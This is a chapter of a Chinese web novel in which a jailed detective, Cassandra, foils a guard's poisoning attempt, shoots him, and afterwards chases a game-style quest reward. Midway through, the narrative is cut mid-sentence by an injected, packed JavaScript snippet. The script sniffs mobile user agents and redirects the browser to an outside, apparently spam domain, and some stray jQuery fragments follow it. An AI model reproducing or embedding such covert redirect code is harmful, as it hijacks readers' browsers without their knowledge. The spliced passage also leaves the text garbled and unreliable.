28. 尾声

作品:《侦探转职嫌疑人

    不晓得是为了公报私仇或是有别的原因,对于卡桑德拉的审判非常的迅速且干脆利落。


    不用一天她就被关在了监牢中,任何人不得探视。


    阴暗潮湿的监牢里关押的都是重犯,偶尔从某一件房中传出接连不断的呢喃声,是死囚临死前的祈祷。


    又或是夹杂着某人承受不住痛苦的哀嚎。


    总之这里不论是气味还是氛围都令人难以忍受。


    因为罪恶深重,所以卡桑德拉得到了额外的关照——位于监牢最深处的单间。


    地板上会窸窸窣窣地爬过虫子或是老鼠,不想被当成攀爬物的卡桑德拉只好选择盘腿坐在床上,虽然这也没好多少。


    不知过了多久,总之是到了晚饭时间,例行来送饭的狱警端着一盘看不出由什么做的食物走了进来,并放到地板上。


    卡桑德拉都懒得看地板上那坨糟糕的东西,连带着对送饭的狱警也没什么好脸色,她说:“把那盘呕吐物端走。”


    谁知道那狱警非但没有端着离开,反而是带着戏谑的语气劝卡桑德拉吃点。


    “您至少吃点吧,不然可撑不到行刑的时候。”


    卡桑德拉来了兴趣,抬起眼皮看了眼来送饭的狱警,可惜牢里太黑,灯光明灭让她看不清他的脸。


    但也不妨碍她猜到来者的身份。


    她缓缓开口:“我还以为今天等不到你来了,喜欢我送你的回礼吗?”


    “您在说什么?”


    狱警假装没听懂她在说什么,卡桑德拉无视了他拙劣的骗局。


    “里面加的什么料?”她抬起下巴点了点地板上的“呕吐物”,“砒霜?番木鳖?千万别是砒霜,太老套太无聊了。别说那个谁就是这么教你的?”


    “不。”狱警倒是突然起了兴致,也算是变相承认了自己身份,毕竟这里是牢房的最深处,周围也没关押着其他罪犯,谁也不会听到他们的谈话。于是他说:“我怎么会让你死得那么干脆利落,只是一点慢性毒药。”


    “你会有这么好心?”


    “我们之前可从未见过面,为什么会对我有这种偏见?”


    “因为你亲自来给我下药。你知道蠢不可怕,怕的还是蠢人勤快。”


    她本来以为他会去证物室拿走那个人偶,亏她还在证物室那附近安插了人。


    又或者会选择买通谁谁谁来给她下药,没想到他会是亲自来,还来得这么快。


    看来刚看到报纸就忍不住了,没脑子的东西。


    “毕竟你送了我那么大一份回礼。”狱警咬牙切齿地回答。


    他简直无法忍受,怎么会有人做如此卑劣的行径。只要一想到那份报纸上的内容他就火冒三丈。


    父亲——父亲怎么会教出这样的人,毫无淑女作风,下贱且粗俗。


    卡桑德拉倒是无所谓他怎么评价自己,反正都是失败者的狺狺狂吠,临死前的胡言乱语。


    “那你好歹把毒下在能吃的东西上,我不像你,我没异食癖。”


    “你!”年轻人就是气性大,卡桑德拉三言两句就把狱警气得沉不住气。


    但是他转念一想,认为这不过是卡桑德拉临死前强撑着嘴硬罢了。


    于是又摆好嘴脸,冷笑到:“到这时候你还在嘴硬?如果你跪下来求我我倒会看在父亲的面子上让你死个痛快。”


    “不了,恋老癖。”


    “你说什么?!”


    “抱歉,口误。”卡桑德拉毫无诚意地道歉,又接着改口,“虽然那个男人确实又老又丑,但我也不能假设你有那种癖好。你说是吧,恋父癖。”


    “你怎么敢——!”


    也不知道是为了卡桑德拉口中侮辱的“那个男人”,还是被羞辱的自己,狱警抓住监牢的栏杆,怒气冲冲地质问卡桑德拉。


    “你怎么敢这么侮辱父亲!”


    又一个父权权威下跪拜的可怜虫,若他说的是“你怎么敢这么侮辱我”卡桑德拉可能还会高看他一眼。


    现在?


    卡桑德拉嗤笑一声:“父亲?你把他当爹他把你当儿子了吗?你得到他赐给你的姓了吗?如果我没猜错这是他交给你的转正任务吧,搞砸一切了?蠢货。”


    “别以为你姓诺曼就能怎么样,你还不是被他放弃了!”


    这人已经有点口不择言了,想到什么就骂什么。


    “你不过就是一个被家族放弃了的棋子,现在还在外面顶着诺曼的姓招摇过市,家族的耻辱。”


    “也好过家族的狗。”


    “你!你!你!”


    狱警被气得受不了了,理智已经荡然无存,该死,什么让她死得不留痕迹的计划已经被名为愤怒的神经驱赶出去了。


    他一把抽出别在腰间的枪,打算让这个出言不逊的女人死在他手里,没想到比他动作还快的是卡桑德拉。


    “砰!”


    第一枪,正中他拿枪的手。


    “砰!”


    第二枪,正中他的右腿膝盖,他不受控制地跪在地上,却还想够摔在地板上的枪。


    第三枪,瞄准的是他够枪的手。


    他终于放弃,佝偻在地板上,如丧家之犬。


    卡桑德拉举着枪下床,缓缓走向他,手里的枪纹丝不动,这一回对准他的眉心。


    “我还以为我们能多聊一会,还以为这回他的眼光会好一点,结果还是一样的不中用。”


    “你怎么会觉得我会把命交到别人手中?”


    她终于靠近他,还带着些温热的枪管透过栏杆抵在他的脑袋上,如果一枪下去他的脑袋会像个吹胀了的气球。


    戏剧已经接近尾声,卡桑德拉还在做最后的谢幕。


    “想好得到姓之后叫什么了吗?要我给你一个名字吗?你觉得科洛迪怎么样?”


    狱警虽然中了三枪,但嘴比骨头硬:“什么鬼名字。”


    “我也觉得这是个鬼名字,只是如果你叫这个名字会让整出戏更有张力。”


    但血正在快速地从狱警的伤口中奔流而出,就像他的生命力,失血过多的他此时已有些耳鸣恍惚,听不懂卡桑德拉在讲什么。


    而此时,警员们才姗姗来迟。


    他们将跪倒在地上的狱警扣住,正打算拖死狗一样地把他拖走,另一个警员拿来了牢房的钥匙,正在为卡桑德拉开门。


    “等等。”卡桑德拉叫停了拖人的警员们,她其实很想把这人的衣服掀开,看看后腰上是不是有个胎记,但想了想还是算了,“算了,带走带走。”


    有时候剧本要留点悬念才好看。


    而且这人她实在是懒得多看两眼了。


    她低头看向颤抖着手为她开门的警员,那钥匙在他手上翻来覆去就是找不到正确的那一把,找到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367578|183122||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了也插不进锁孔里。


    她把手里的枪往栏杆上敲了敲,发出沉闷的响声:“约翰,手没用的话我还认识一个做假肢的工匠,他做的假肢应该比你这只手灵活。”


    迦勒整个人抖了一下,才成功把钥匙插进锁孔里。


    好不容易把牢门打开后,迦勒才松了口气,看着里面穿着囚服的卡桑德拉好手好脚地走出来。


    天知道他刚刚听到枪声的时候有多担心,还是三声,万一是那个罪犯对诺曼小姐怀恨在心开枪袭击呢?一枪不解恨又多来两枪。


    “天哪,还好您没事。”


    “我当然会没事。”卡桑德拉大步流星地往前走离开这座监牢,她是一刻也受不了了,她得把这件衣服烧掉。


    迦勒跟在她身后,自言自语:“还好你认出他了,没让他得逞。”


    “谁让他废话这么多,这里的人都不想看到我,还会劝我吃牢饭?”


    卡桑德拉依旧尖酸刻薄:“那种东西吃下去和毒药也没区别了。”


    迦勒也只能跟在她身后讪笑,转移话题:“对了,您怎么会确定他会来?”


    “这还用问?他一看脾气就不好,不然也不会把钢笔插人家喉咙里,杀人哪用得着这么麻烦。还被养出了少爷脾气,怎么会受得了别人的羞辱。”


    虽然语气不好,但卡桑德拉有问有答。迦勒只觉得佩服她对人性的把握,自动忽略了卡桑德拉话里的不对劲。


    出了监牢的大门,等候她的是维克托尔那张无趣的脸,他手里还拿着一件灰色的披风。


    “赫柏在门口等你。”说着他将披风递过去,看着卡桑德拉将披风穿好,宽大的布料这盖住底层的囚服。


    “这里环境真差,到处都是虫子,贪了这么多钱也不改善一下这里?”嘴了一晚上的卡桑德拉此时攻击力正强,看什么都要讲两句。


    “这又不是酒店,而且关在这的都是囚犯。”维克托尔回,他还是一样的没有幽默细胞。


    三人一起往门外走去,迎接他们的是门口等在马车旁的赫柏以及站在马车上的阿波罗。


    外面已是天黑,赫柏将她那令人操心的小姐接回家中,几人就此分开。


    本来卡桑德拉以为这件事已经告一段落了,她已经洗脱了嫌疑,完成任务,只是...


    一直到第二天早上游戏奖励结算的画面还未出现,属性值迟迟不到账。


    吃着早饭的她分心点进任务界面一看,跟在奖励“分析机模型”后面多了个补充(消耗分析机图纸0/1)


    她觉得这游戏要反了,她去哪给他搞张分析机图纸?


    【我不要分析机模型了,名声值也可以不要,结算属性值就行。】


    【不行呢侦探,任务奖励是一体的。】


    【你这算支线任务了,我不接。】


    【不行呢侦探。】


    【我要投诉你。】


    【目前还未开发投诉渠道,敬请期待,侦探。】


    破游戏。卡桑德拉生气地关闭咨询界面,连面对一桌子丰盛的早餐都没了胃口。


    图纸...图纸...亚德利


    人偶...写字...校准、凸轮?


    卡桑德拉灵光一闪,放下刀叉就往外跑。


    “哎呀,小姐,你要去哪?”赫柏惊呼。


    “苏格兰场。”去找她的任务奖励。